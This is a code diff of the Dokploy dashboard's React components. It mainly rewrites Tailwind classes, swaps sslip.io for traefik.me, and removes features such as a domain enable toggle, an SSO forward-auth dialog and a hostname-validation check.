 														<TooltipContent>
@@ -379,7 +379,7 @@ export const ShowResources = ({ id, type }: Props) => {
 									<FormLabel className="text-base">Ulimits</FormLabel>
 									<TooltipProvider>
 										<Tooltip delayDuration={0}>
-											<TooltipTrigger type="button">
+											<TooltipTrigger>
 												<InfoIcon className="h-4 w-4 text-muted-foreground" />
 											</TooltipTrigger>
 											<TooltipContent className="max-w-xs">

apps/dokploy/components/dashboard/application/advanced/traefik/show-traefik-config.tsx

@@ -53,7 +53,7 @@ export const ShowTraefikConfig = ({ applicationId }: Props) => {
 					</div>
 				) : (
 					<div className="flex flex-col pt-2 relative">
-						<div className="flex flex-col gap-6 max-h-140 min-h-40 overflow-y-auto">
+						<div className="flex flex-col gap-6 max-h-[35rem] min-h-[10rem] overflow-y-auto">
 							<CodeEditor
 								lineWrapping
 								value={data || "Empty"}

apps/dokploy/components/dashboard/application/advanced/traefik/update-traefik-config.tsx

@@ -155,7 +155,7 @@ export const UpdateTraefikConfig = ({ applicationId }: Props) => {
 										<FormControl>
 											<CodeEditor
 												lineWrapping
-												wrapperClassName="h-140 font-mono"
+												wrapperClassName="h-[35rem] font-mono"
 												placeholder={`http:
 routers:
     router-name:

apps/dokploy/components/dashboard/application/advanced/volumes/add-volumes.tsx

@@ -220,7 +220,7 @@ export const AddVolumes = ({
 															/>
 															<Label
 																htmlFor="bind"
-																className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
+																className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
 															>
 																Bind Mount
 															</Label>
@@ -240,7 +240,7 @@ export const AddVolumes = ({
 															/>
 															<Label
 																htmlFor="volume"
-																className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
+																className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
 															>
 																Volume Mount
 															</Label>
@@ -264,7 +264,7 @@ export const AddVolumes = ({
 														/>
 														<Label
 															htmlFor="file"
-															className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary has-data-[state=checked]:border-primary cursor-pointer"
+															className="flex flex-col items-center justify-between rounded-md border-2 border-muted bg-popover p-4 hover:bg-accent hover:text-accent-foreground peer-data-[state=checked]:border-primary [&:has([data-state=checked])]:border-primary cursor-pointer"
 														>
 															File Mount
 														</Label>
@@ -324,7 +324,7 @@ export const AddVolumes = ({
 											control={form.control}
 											name="content"
 											render={({ field }) => (
-												<FormItem className="max-w-full max-w-180">
+												<FormItem className="max-w-full max-w-[45rem]">
 													<FormLabel>Content</FormLabel>
 													<FormControl>
 														<FormControl>

apps/dokploy/components/dashboard/application/advanced/volumes/show-volumes.tsx

@@ -111,7 +111,7 @@ export const ShowVolumes = ({ id, type }: Props) => {
 											{mount.type === "file" && (
 												<div className="flex flex-col gap-1">
 													<span className="font-medium">Content</span>
-													<span className="text-sm text-muted-foreground line-clamp-10 whitespace-break-spaces">
+													<span className="text-sm text-muted-foreground line-clamp-[10] whitespace-break-spaces">
 														{mount.content}
 													</span>
 												</div>

apps/dokploy/components/dashboard/application/advanced/volumes/update-volume.tsx

@@ -253,7 +253,7 @@ export const UpdateVolume = ({
 										control={form.control}
 										name="content"
 										render={({ field }) => (
-											<FormItem className="w-full max-w-180">
+											<FormItem className="w-full max-w-[45rem]">
 												<FormLabel>Content</FormLabel>
 												<FormControl>
 													<FormControl>

apps/dokploy/components/dashboard/application/build/show.tsx

@@ -88,7 +88,6 @@ const mySchema = z.discriminatedUnion("buildType", [
 	z.object({
 		buildType: z.literal(BuildType.nixpacks),
 		publishDirectory: z.string().optional(),
-		isStaticSpa: z.boolean().default(false),
 	}),
 	z.object({
 		buildType: z.literal(BuildType.railpack),
@@ -139,7 +138,6 @@ const resetData = (data: ApplicationData): AddTemplate => {
 			return {
 				buildType: BuildType.nixpacks,
 				publishDirectory: data.publishDirectory || undefined,
-				isStaticSpa: data.isStaticSpa ?? false,
 			};
 		case BuildType.paketo_buildpacks:
 			return {
@@ -181,7 +179,6 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 
 	const buildType = form.watch("buildType");
 	const railpackVersion = form.watch("railpackVersion");
-	const publishDirectory = form.watch("publishDirectory");
 	const [isManualRailpackVersion, setIsManualRailpackVersion] = useState(false);
 
 	useEffect(() => {
@@ -227,10 +224,7 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 					? data.herokuVersion
 					: null,
 			isStaticSpa:
-				data.buildType === BuildType.static ||
-				data.buildType === BuildType.nixpacks
-					? data.isStaticSpa
-					: null,
+				data.buildType === BuildType.static ? data.isStaticSpa : null,
 			railpackVersion:
 				data.buildType === BuildType.railpack
 					? data.railpackVersion || "0.15.4"
@@ -425,30 +419,6 @@ export const ShowBuildChooseForm = ({ applicationId }: Props) => {
 								)}
 							/>
 						)}
-						{buildType === BuildType.nixpacks && publishDirectory && (
-							<FormField
-								control={form.control}
-								name="isStaticSpa"
-								render={({ field }) => (
-									<FormItem>
-										<FormControl>
-											<div className="flex items-center gap-x-2 p-2">
-												<Checkbox
-													id="checkboxIsStaticSpaNixpacks"
-													value={String(field.value)}
-													checked={field.value}
-													onCheckedChange={field.onChange}
-												/>
-												<FormLabel htmlFor="checkboxIsStaticSpaNixpacks">
-													Single Page Application (SPA)
-												</FormLabel>
-											</div>
-										</FormControl>
-										<FormMessage />
-									</FormItem>
-								)}
-							/>
-						)}
 						{buildType === BuildType.static && (
 							<FormField
 								control={form.control}

apps/dokploy/components/dashboard/application/deployments/show-deployment.tsx

@@ -148,7 +148,7 @@ export const ShowDeployment = ({
 					<DialogDescription className="flex items-center gap-2">
 						<span className="flex items-center gap-2">
 							See all the details of this deployment |{" "}
-							<Badge variant="blank" className="text-xs tabular-nums">
+							<Badge variant="blank" className="text-xs">
 								{filteredLogs.length} lines
 							</Badge>
 						</span>
@@ -191,7 +191,7 @@ export const ShowDeployment = ({
 				<div
 					ref={scrollRef}
 					onScroll={handleScroll}
-					className="h-[720px] overflow-y-auto space-y-0 border p-4 bg-background rounded custom-logs-scrollbar"
+					className="h-[720px] overflow-y-auto space-y-0 border p-4 bg-[#fafafa] dark:bg-[#050506] rounded custom-logs-scrollbar"
 				>
 					{" "}
 					{filteredLogs.length > 0 ? (

apps/dokploy/components/dashboard/application/deployments/show-deployments.tsx

@@ -63,9 +63,6 @@ export const ShowDeployments = ({
 	const [activeLog, setActiveLog] = useState<
 		RouterOutputs["deployment"]["all"][number] | null
 	>(null);
-	const [removingDeploymentIds, setRemovingDeploymentIds] = useState<
-		Set<string>
-	>(new Set());
 	const { data: deployments, isPending: isLoadingDeployments } =
 		api.deployment.allByType.useQuery(
 			{
@@ -84,7 +81,7 @@ export const ShowDeployments = ({
 		api.rollback.rollback.useMutation();
 	const { mutateAsync: killProcess, isPending: isKillingProcess } =
 		api.deployment.killProcess.useMutation();
-	const { mutateAsync: removeDeployment } =
+	const { mutateAsync: removeDeployment, isPending: isRemovingDeployment } =
 		api.deployment.removeDeployment.useMutation();
 
 	// Cancel deployment mutations
@@ -150,7 +147,7 @@ export const ShowDeployments = ({
 	}, []);
 
 	return (
-		<Card className="bg-background border-0">
+		<Card className="bg-background border-none">
 			<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
 				<div className="flex flex-col gap-2">
 					<CardTitle className="text-xl">Deployments</CardTitle>
@@ -236,6 +233,7 @@ export const ShowDeployments = ({
 							<span>Webhook URL: </span>
 							<div className="flex flex-row items-center gap-2">
 								<Badge
+									role="button"
 									tabIndex={0}
 									aria-label="Copy webhook URL to clipboard"
 									className="p-2 rounded-md ml-1 mr-1 hover:border-primary hover:text-primary-foreground hover:bg-primary hover:cursor-pointer whitespace-normal break-all"
@@ -303,7 +301,7 @@ export const ShowDeployments = ({
 										</span>
 
 										<div className="flex flex-col gap-1">
-											<span className="wrap-break-word text-sm text-muted-foreground whitespace-pre-wrap">
+											<span className="break-words text-sm text-muted-foreground whitespace-pre-wrap">
 												{isExpanded || !needsTruncation
 													? titleText
 													: truncateDescription(titleText)}
@@ -411,11 +409,6 @@ export const ShowDeployments = ({
 													description="Are you sure you want to delete this deployment? This action cannot be undone."
 													type="default"
 													onClick={async () => {
-														setRemovingDeploymentIds((deploymentIds) => {
-															const nextDeploymentIds = new Set(deploymentIds);
-															nextDeploymentIds.add(deployment.deploymentId);
-															return nextDeploymentIds;
-														});
 														try {
 															await removeDeployment({
 																deploymentId: deployment.deploymentId,
@@ -423,25 +416,13 @@ export const ShowDeployments = ({
 															toast.success("Deployment deleted successfully");
 														} catch (error) {
 															toast.error("Error deleting deployment");
-														} finally {
-															setRemovingDeploymentIds((deploymentIds) => {
-																const nextDeploymentIds = new Set(
-																	deploymentIds,
-																);
-																nextDeploymentIds.delete(
-																	deployment.deploymentId,
-																);
-																return nextDeploymentIds;
-															});
 														}
 													}}
 												>
 													<Button
 														variant="destructive"
 														size="sm"
-														isLoading={removingDeploymentIds.has(
-															deployment.deploymentId,
-														)}
+														isLoading={isRemovingDeployment}
 													>
 														Delete
 														<Trash2 className="size-4" />

apps/dokploy/components/dashboard/application/domains/columns.tsx

@@ -14,7 +14,6 @@ import Link from "next/link";
 import { DialogAction } from "@/components/shared/dialog-action";
 import { Badge } from "@/components/ui/badge";
 import { Button } from "@/components/ui/button";
-import { Switch } from "@/components/ui/switch";
 import {
 	Tooltip,
 	TooltipContent,
@@ -22,9 +21,9 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import type { RouterOutputs } from "@/utils/api";
-import { DnsHelperModal } from "./dns-helper-modal";
-import { AddDomain } from "./handle-domain";
 import type { ValidationStates } from "./show-domains";
+import { AddDomain } from "./handle-domain";
+import { DnsHelperModal } from "./dns-helper-modal";
 
 export type Domain =
 	| RouterOutputs["domain"]["byApplicationId"][0]
@@ -36,9 +35,7 @@ interface ColumnsProps {
 	validationStates: ValidationStates;
 	handleValidateDomain: (host: string) => Promise<void>;
 	handleDeleteDomain: (domainId: string) => Promise<void>;
-	handleToggleEnable: (domainId: string) => Promise<void>;
 	isDeleting: boolean;
-	isToggling: boolean;
 	serverIp?: string;
 	canCreateDomain: boolean;
 	canDeleteDomain: boolean;
@@ -50,9 +47,7 @@ export const createColumns = ({
 	validationStates,
 	handleValidateDomain,
 	handleDeleteDomain,
-	handleToggleEnable,
 	isDeleting,
-	isToggling,
 	serverIp,
 	canCreateDomain,
 	canDeleteDomain,
@@ -173,7 +168,7 @@ export const createColumns = ({
 							{domain.certificateType}
 						</Badge>
 					)}
-					{!domain.host.includes("sslip.io") && (
+					{!domain.host.includes("traefik.me") && (
 						<TooltipProvider>
 							<Tooltip>
 								<TooltipTrigger asChild>
@@ -214,9 +209,7 @@ export const createColumns = ({
 									</Badge>
 								</TooltipTrigger>
 								<TooltipContent className="max-w-xs">
-									{validationState?.isValid && validationState?.message ? (
-										<p>{validationState.message}</p>
-									) : validationState?.error ? (
+									{validationState?.error ? (
 										<div className="flex flex-col gap-1">
 											<p className="font-medium text-red-500">Error:</p>
 											<p>{validationState.error}</p>
@@ -254,42 +247,6 @@ export const createColumns = ({
 			);
 		},
 	},
-	{
-		id: "status",
-		header: "Status",
-		cell: ({ row }) => {
-			const domain = row.original;
-			if (!canCreateDomain) {
-				return (
-					<Badge variant={domain.enabled ? "outline" : "secondary"}>
-						{domain.enabled ? "Enabled" : "Disabled"}
-					</Badge>
-				);
-			}
-			return (
-				<TooltipProvider>
-					<Tooltip>
-						<TooltipTrigger asChild>
-							<div className="flex items-center">
-								<Switch
-									checked={domain.enabled}
-									onCheckedChange={() => handleToggleEnable(domain.domainId)}
-									disabled={isToggling}
-								/>
-							</div>
-						</TooltipTrigger>
-						<TooltipContent>
-							<p>
-								{domain.enabled
-									? "Domain is active. Toggle to disable routing without deleting it."
-									: "Domain is disabled and not routed. Toggle to enable it again."}
-							</p>
-						</TooltipContent>
-					</Tooltip>
-				</TooltipProvider>
-			);
-		},
-	},
 	{
 		id: "actions",
 		header: "Actions",
@@ -299,7 +256,7 @@ export const createColumns = ({
 
 			return (
 				<div className="flex items-center gap-2">
-					{!domain.host.includes("sslip.io") && (
+					{!domain.host.includes("traefik.me") && (
 						<DnsHelperModal
 							domain={{
 								host: domain.host,

apps/dokploy/components/dashboard/application/domains/handle-domain.tsx

@@ -1,7 +1,3 @@
-import {
-	INVALID_HOSTNAME_MESSAGE,
-	VALID_HOSTNAME_REGEX,
-} from "@dokploy/server/utils/hostname-validation";
 import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
 import { DatabaseZap, Dices, RefreshCw, X } from "lucide-react";
 import Link from "next/link";
@@ -46,7 +42,6 @@ import {
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
 import { api } from "@/utils/api";
-import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type CacheType = "fetch" | "cache";
 
@@ -58,10 +53,7 @@ export const domain = z
 			.refine((val) => val === val.trim(), {
 				message: "Domain name cannot have leading or trailing spaces",
 			})
-			.transform((val) => val.trim())
-			.refine((val) => VALID_HOSTNAME_REGEX.test(val), {
-				message: INVALID_HOSTNAME_MESSAGE,
-			}),
+			.transform((val) => val.trim()),
 		path: z.string().min(1).optional(),
 		internalPath: z.string().optional(),
 		stripPath: z.boolean().optional(),
@@ -233,7 +225,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 	const https = form.watch("https");
 	const domainType = form.watch("domainType");
 	const host = form.watch("host");
-	const isTraefikMeDomain = host?.includes("sslip.io") || false;
+	const isTraefikMeDomain = host?.includes("traefik.me") || false;
 
 	useEffect(() => {
 		if (data) {
@@ -301,12 +293,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 			customEntrypoint: data.useCustomEntrypoint ? data.customEntrypoint : null,
 		})
 			.then(async () => {
-				toast.success(
-					dictionary.success,
-					data.domainType === "compose"
-						? { description: COMPOSE_REDEPLOY_TOAST }
-						: undefined,
-				);
+				toast.success(dictionary.success);
 
 				if (data.domainType === "application") {
 					await utils.domain.byApplicationId.invalidate({
@@ -343,7 +330,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 				</DialogHeader>
 				{isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
 
-				{type === "compose" && <ComposeRedeployAlert className="mb-4" />}
+				{type === "compose" && (
+					<AlertBlock type="info" className="mb-4">
+						Whenever you make changes to domains, remember to redeploy your
+						compose to apply the changes.
+					</AlertBlock>
+				)}
 
 				<Form {...form}>
 					<form
@@ -357,7 +349,10 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 									{domainType === "compose" && (
 										<div className="flex flex-col gap-2 w-full">
 											{errorServices && (
-												<AlertBlock type="warning" className="wrap-anywhere">
+												<AlertBlock
+													type="warning"
+													className="[overflow-wrap:anywhere]"
+												>
 													{errorServices?.message}
 												</AlertBlock>
 											)}
@@ -425,7 +420,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 																			<TooltipContent
 																				side="left"
 																				sideOffset={5}
-																				className="max-w-40"
+																				className="max-w-[10rem]"
 																			>
 																				<p>
 																					Fetch: Will clone the repository and
@@ -455,7 +450,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 																			<TooltipContent
 																				side="left"
 																				sideOffset={5}
-																				className="max-w-40"
+																				className="max-w-[10rem]"
 																			>
 																				<p>
 																					Cache: If you previously deployed this
@@ -493,7 +488,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 																	<TooltipContent
 																		side="left"
 																		sideOffset={5}
-																		className="max-w-40"
+																		className="max-w-[10rem]"
 																	>
 																		<p>
 																			{isManualInput
@@ -518,7 +513,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 									render={({ field }) => (
 										<FormItem>
 											{!canGenerateTraefikMeDomains &&
-												field.value.includes("sslip.io") && (
+												field.value.includes("traefik.me") && (
 													<AlertBlock type="warning">
 														You need to set an IP address in your{" "}
 														<Link
@@ -529,12 +524,12 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 																? "Remote Servers -> Server -> Edit Server -> Update IP Address"
 																: "Web Server -> Server -> Update Server IP"}
 														</Link>{" "}
-														to make your sslip.io domain work.
+														to make your traefik.me domain work.
 													</AlertBlock>
 												)}
 											{isTraefikMeDomain && (
 												<AlertBlock type="info">
-													<strong>Note:</strong> sslip.io is a public HTTP
+													<strong>Note:</strong> traefik.me is a public HTTP
 													service and does not support SSL/HTTPS. HTTPS and
 													certificate options will not have any effect.
 												</AlertBlock>
@@ -570,9 +565,9 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 														<TooltipContent
 															side="left"
 															sideOffset={5}
-															className="max-w-40"
+															className="max-w-[10rem]"
 														>
-															<p>Generate sslip.io domain</p>
+															<p>Generate traefik.me domain</p>
 														</TooltipContent>
 													</Tooltip>
 												</TooltipProvider>
@@ -623,7 +618,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 									control={form.control}
 									name="stripPath"
 									render={({ field }) => (
-										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-xs">
+										<FormItem className="flex flex-row items-center justify-between p-3 border rounded-lg shadow-sm">
 											<div className="space-y-0.5">
 												<FormLabel>Strip Path</FormLabel>
 												<FormDescription>
@@ -667,11 +662,11 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 									control={form.control}
 									name="useCustomEntrypoint"
 									render={({ field }) => (
-										<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-xs">
+										<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-sm">
 											<div className="space-y-0.5">
 												<FormLabel>Custom Entrypoint</FormLabel>
 												<FormDescription>
-													Use custom entrypoint for domain
+													Use custom entrypoint for domina
 													<br />
 													"web" and/or "websecure" is used by default.
 												</FormDescription>
@@ -716,7 +711,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 									control={form.control}
 									name="https"
 									render={({ field }) => (
-										<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-xs">
+										<FormItem className="flex flex-row items-center justify-between p-3 mt-4 border rounded-lg shadow-sm">
 											<div className="space-y-0.5">
 												<FormLabel>HTTPS</FormLabel>
 												<FormDescription>
@@ -768,37 +763,6 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 																<SelectItem value={"custom"}>Custom</SelectItem>
 															</SelectContent>
 														</Select>
-														<FormDescription>
-															{field.value === "none" && (
-																<>
-																	<strong>None</strong> serves TLS using any
-																	certificate you created in the{" "}
-																	<Link
-																		href="/dashboard/settings/certificates"
-																		className="text-primary"
-																	>
-																		Certificates
-																	</Link>{" "}
-																	section whose CN/SAN matches this host —
-																	Traefik selects it automatically via SNI.
-																</>
-															)}
-															{field.value === "letsencrypt" && (
-																<>
-																	<strong>Let's Encrypt</strong> auto-provisions
-																	a certificate automatically for this host.
-																</>
-															)}
-															{field.value === "custom" && (
-																<>
-																	<strong>Custom</strong> uses a Traefik cert
-																	resolver by name (defined in your static
-																	configuration).
-																</>
-															)}
-															{!field.value &&
-																"Select a certificate provider to see how TLS will be served for this host."}
-														</FormDescription>
 														<FormMessage />
 													</FormItem>
 												);
@@ -813,19 +777,10 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 													return (
 														<FormItem>
 															<FormLabel>Custom Certificate Resolver</FormLabel>
-															<FormDescription>
-																Enter the <strong>name</strong> of a Traefik
-																cert resolver defined in your static
-																configuration (e.g. <code>letsencrypt</code>) —
-																not certificate or private key content. To use a
-																certificate you pasted in the Certificates
-																section, choose <strong>None</strong> instead
-																and Traefik will match it by SNI.
-															</FormDescription>
 															<FormControl>
 																<Input
 																	className="w-full"
-																	placeholder="e.g. letsencrypt"
+																	placeholder="Enter your custom certificate resolver"
 																	{...field}
 																	value={field.value || ""}
 																	onChange={(e) => {
@@ -851,7 +806,7 @@ export const AddDomain = ({ id, type, domainId = "", children }: Props) => {
 												<FormLabel>Middlewares</FormLabel>
 												<TooltipProvider>
 													<Tooltip>
-														<TooltipTrigger type="button">
+														<TooltipTrigger>
 															<div className="size-4 rounded-full bg-muted flex items-center justify-center text-[10px] font-bold">
 																?
 															</div>

apps/dokploy/components/dashboard/application/domains/handle-forward-auth.tsx

@@ -1,147 +0,0 @@
-import { ShieldCheck } from "lucide-react";
-import { useState } from "react";
-import { toast } from "sonner";
-import { AlertBlock } from "@/components/shared/alert-block";
-import { Button } from "@/components/ui/button";
-import {
-	Dialog,
-	DialogContent,
-	DialogDescription,
-	DialogFooter,
-	DialogHeader,
-	DialogTitle,
-	DialogTrigger,
-} from "@/components/ui/dialog";
-import { Switch } from "@/components/ui/switch";
-import { api } from "@/utils/api";
-
-interface Props {
-	domainId: string;
-	applicationId: string;
-}
-
-export const HandleForwardAuth = ({ domainId, applicationId }: Props) => {
-	const [isOpen, setIsOpen] = useState(false);
-
-	const { data: haveValidLicense } =
-		api.licenseKey.haveValidLicenseKey.useQuery();
-
-	const utils = api.useUtils();
-
-	const { data: status } = api.forwardAuth.status.useQuery(
-		{ domainId },
-		{ enabled: isOpen },
-	);
-
-	const { mutateAsync: enable, isPending: isEnabling } =
-		api.forwardAuth.enable.useMutation();
-	const { mutateAsync: disable, isPending: isDisabling } =
-		api.forwardAuth.disable.useMutation();
-
-	if (!haveValidLicense) {
-		return null;
-	}
-
-	const isEnabled = !!status?.enabled;
-	const isPending = isEnabling || isDisabling;
-
-	const refresh = async () => {
-		await utils.forwardAuth.status.invalidate({ domainId });
-		await utils.domain.byApplicationId.invalidate({ applicationId });
-		await utils.application.readTraefikConfig.invalidate({ applicationId });
-	};
-
-	const handleToggle = async (next: boolean) => {
-		try {
-			if (next) {
-				await enable({ domainId });
-				toast.success("SSO authentication enabled for this domain");
-			} else {
-				await disable({ domainId });
-				toast.success("SSO authentication disabled for this domain");
-			}
-			await refresh();
-		} catch (error) {
-			toast.error(
-				error instanceof Error
-					? error.message
-					: "Error updating SSO authentication",
-			);
-		}
-	};
-
-	return (
-		<Dialog open={isOpen} onOpenChange={setIsOpen}>
-			<DialogTrigger asChild>
-				<Button
-					variant="ghost"
-					size="icon"
-					className="group hover:bg-emerald-500/10"
-					title="SSO authentication"
-				>
-					<ShieldCheck
-						className={`size-4 ${
-							isEnabled
-								? "text-emerald-500"
-								: "text-primary group-hover:text-emerald-500"
-						}`}
-					/>
-				</Button>
-			</DialogTrigger>
-			<DialogContent>
-				<DialogHeader>
-					<DialogTitle>SSO Authentication</DialogTitle>
-					<DialogDescription>
-						Require visitors to authenticate against your identity provider
-						before reaching this application.
-					</DialogDescription>
-				</DialogHeader>
-
-				<AlertBlock type="warning">
-					<div className="flex flex-col gap-1">
-						<span className="font-medium">Requirements</span>
-						<ol className="list-decimal pl-4 text-sm">
-							<li>
-								The authentication proxy container must be deployed and running
-								on this app's server. Configure it under{" "}
-								<span className="font-medium">
-									Settings → SSO → Application Authentication
-								</span>
-								.
-							</li>
-							<li>
-								This domain must share the same base domain as the
-								authentication domain (e.g. <code>app.acme.com</code> and{" "}
-								<code>auth.acme.com</code>).
-							</li>
-						</ol>
-					</div>
-				</AlertBlock>
-
-				<div className="flex items-center justify-between rounded-lg border p-4 mt-2">
-					<div className="flex flex-col">
-						<span className="text-sm font-medium">
-							Protect this domain with SSO
-						</span>
-						<span className="text-xs text-muted-foreground">
-							{isEnabled
-								? "Visitors must log in via your identity provider."
-								: "The domain is publicly accessible."}
-						</span>
-					</div>
-					<Switch
-						checked={isEnabled}
-						disabled={isPending}
-						onCheckedChange={handleToggle}
-					/>
-				</div>
-
-				<DialogFooter>
-					<Button variant="outline" onClick={() => setIsOpen(false)}>
-						Close
-					</Button>
-				</DialogFooter>
-			</DialogContent>
-		</Dialog>
-	);
-};

apps/dokploy/components/dashboard/application/domains/redeploy-hint.tsx

@@ -1,19 +0,0 @@
-import { AlertBlock } from "@/components/shared/alert-block";
-
-/**
- * Domains attached to a compose service are rendered as docker labels and only
- * take effect on the next deployment. These strings keep the "redeploy required"
- * wording consistent across the add/edit dialog, the domains list and the
- * toasts shown after create/update/delete/toggle operations.
- */
-export const COMPOSE_REDEPLOY_HINT =
-	"Whenever you make changes to domains, remember to redeploy your compose to apply the changes.";
-
-export const COMPOSE_REDEPLOY_TOAST =
-	"Redeploy the compose to apply the changes.";
-
-export const ComposeRedeployAlert = ({ className }: { className?: string }) => (
-	<AlertBlock type="info" className={className}>
-		{COMPOSE_REDEPLOY_HINT}
-	</AlertBlock>
-);

apps/dokploy/components/dashboard/application/domains/show-domains.tsx

@@ -44,7 +44,6 @@ import {
 	DropdownMenuTrigger,
 } from "@/components/ui/dropdown-menu";
 import { Input } from "@/components/ui/input";
-import { Switch } from "@/components/ui/switch";
 import {
 	Table,
 	TableBody,
@@ -59,13 +58,10 @@ import {
 	TooltipProvider,
 	TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { cn } from "@/lib/utils";
 import { api } from "@/utils/api";
 import { createColumns } from "./columns";
 import { DnsHelperModal } from "./dns-helper-modal";
 import { AddDomain } from "./handle-domain";
-import { HandleForwardAuth } from "./handle-forward-auth";
-import { COMPOSE_REDEPLOY_TOAST, ComposeRedeployAlert } from "./redeploy-hint";
 
 export type ValidationState = {
 	isLoading: boolean;
@@ -149,34 +145,12 @@ export const ShowDomains = ({ id, type }: Props) => {
 		api.domain.validateDomain.useMutation();
 	const { mutateAsync: deleteDomain, isPending: isRemoving } =
 		api.domain.delete.useMutation();
-	const { mutateAsync: toggleEnable, isPending: isToggling } =
-		api.domain.toggleEnable.useMutation();
-
-	const handleToggleEnable = async (domainId: string) => {
-		try {
-			const result = await toggleEnable({ domainId });
-			refetch();
-			toast.success(
-				result.enabled ? "Domain enabled" : "Domain disabled",
-				result.requiresRedeploy
-					? { description: COMPOSE_REDEPLOY_TOAST }
-					: undefined,
-			);
-		} catch {
-			toast.error("Error updating the domain");
-		}
-	};
 
 	const handleDeleteDomain = async (domainId: string) => {
 		try {
 			await deleteDomain({ domainId });
 			refetch();
-			toast.success(
-				"Domain deleted successfully",
-				type === "compose"
-					? { description: COMPOSE_REDEPLOY_TOAST }
-					: undefined,
-			);
+			toast.success("Domain deleted successfully");
 		} catch {
 			toast.error("Error deleting domain");
 		}
@@ -225,9 +199,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 		validationStates,
 		handleValidateDomain,
 		handleDeleteDomain,
-		handleToggleEnable,
 		isDeleting: isRemoving,
-		isToggling,
 		serverIp: application?.server?.ipAddress?.toString() || ip?.toString(),
 		canCreateDomain,
 		canDeleteDomain,
@@ -292,11 +264,6 @@ export const ShowDomains = ({ id, type }: Props) => {
 						)}
 					</div>
 				</CardHeader>
-				{type === "compose" && data && data.length > 0 && (
-					<div className="px-6 pb-4">
-						<ComposeRedeployAlert />
-					</div>
-				)}
 				<CardContent className="flex w-full flex-row gap-4">
 					{isLoadingDomains ? (
 						<div className="flex w-full flex-row gap-4 min-h-[40vh] justify-center items-center">
@@ -445,10 +412,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 								return (
 									<Card
 										key={item.domainId}
-										className={cn(
-											"relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit",
-											!item.enabled && "opacity-60",
-										)}
+										className="relative overflow-hidden w-full border transition-all hover:shadow-md bg-transparent h-fit"
 									>
 										<CardContent className="p-6">
 											<div className="flex flex-col gap-4">
@@ -461,7 +425,7 @@ export const ShowDomains = ({ id, type }: Props) => {
 														</Badge>
 													)}
 													<div className="flex gap-2 flex-wrap">
-														{!item.host.includes("sslip.io") && (
+														{!item.host.includes("traefik.me") && (
 															<DnsHelperModal
 																domain={{
 																	host: item.host,
@@ -489,19 +453,24 @@ export const ShowDomains = ({ id, type }: Props) => {
 																</Button>
 															</AddDomain>
 														)}
-														{canCreateDomain && type === "application" && (
-															<HandleForwardAuth
-																domainId={item.domainId}
-																applicationId={id}
-															/>
-														)}
 														{canDeleteDomain && (
 															<DialogAction
 																title="Delete Domain"
 																description="Are you sure you want to delete this domain?"
 																type="destructive"
 																onClick={async () => {
-																	await handleDeleteDomain(item.domainId);
+																	await deleteDomain({
+																		domainId: item.domainId,
+																	})
+																		.then((_data) => {
+																			refetch();
+																			toast.success(
+																				"Domain deleted successfully",
+																			);
+																		})
+																		.catch(() => {
+																			toast.error("Error deleting domain");
+																		});
 																}}
 															>
 																<Button
@@ -516,41 +485,15 @@ export const ShowDomains = ({ id, type }: Props) => {
 														)}
 													</div>
 												</div>
-												<div className="flex flex-col gap-3 sm:flex-row sm:items-center sm:justify-between">
-													<div className="w-full break-all">
-														<Link
-															className="flex items-center gap-2 text-base font-medium hover:underline"
-															target="_blank"
-															href={`${item.https ? "https" : "http"}://${item.host}${item.path}`}
-														>
-															{item.host}
-															<ExternalLink className="size-4 min-w-4" />
-														</Link>
-													</div>
-													{canCreateDomain && (
-														<TooltipProvider>
-															<Tooltip>
-																<TooltipTrigger asChild>
-																	<div className="flex items-center shrink-0">
-																		<Switch
-																			checked={item.enabled}
-																			onCheckedChange={() =>
-																				handleToggleEnable(item.domainId)
-																			}
-																			disabled={isToggling}
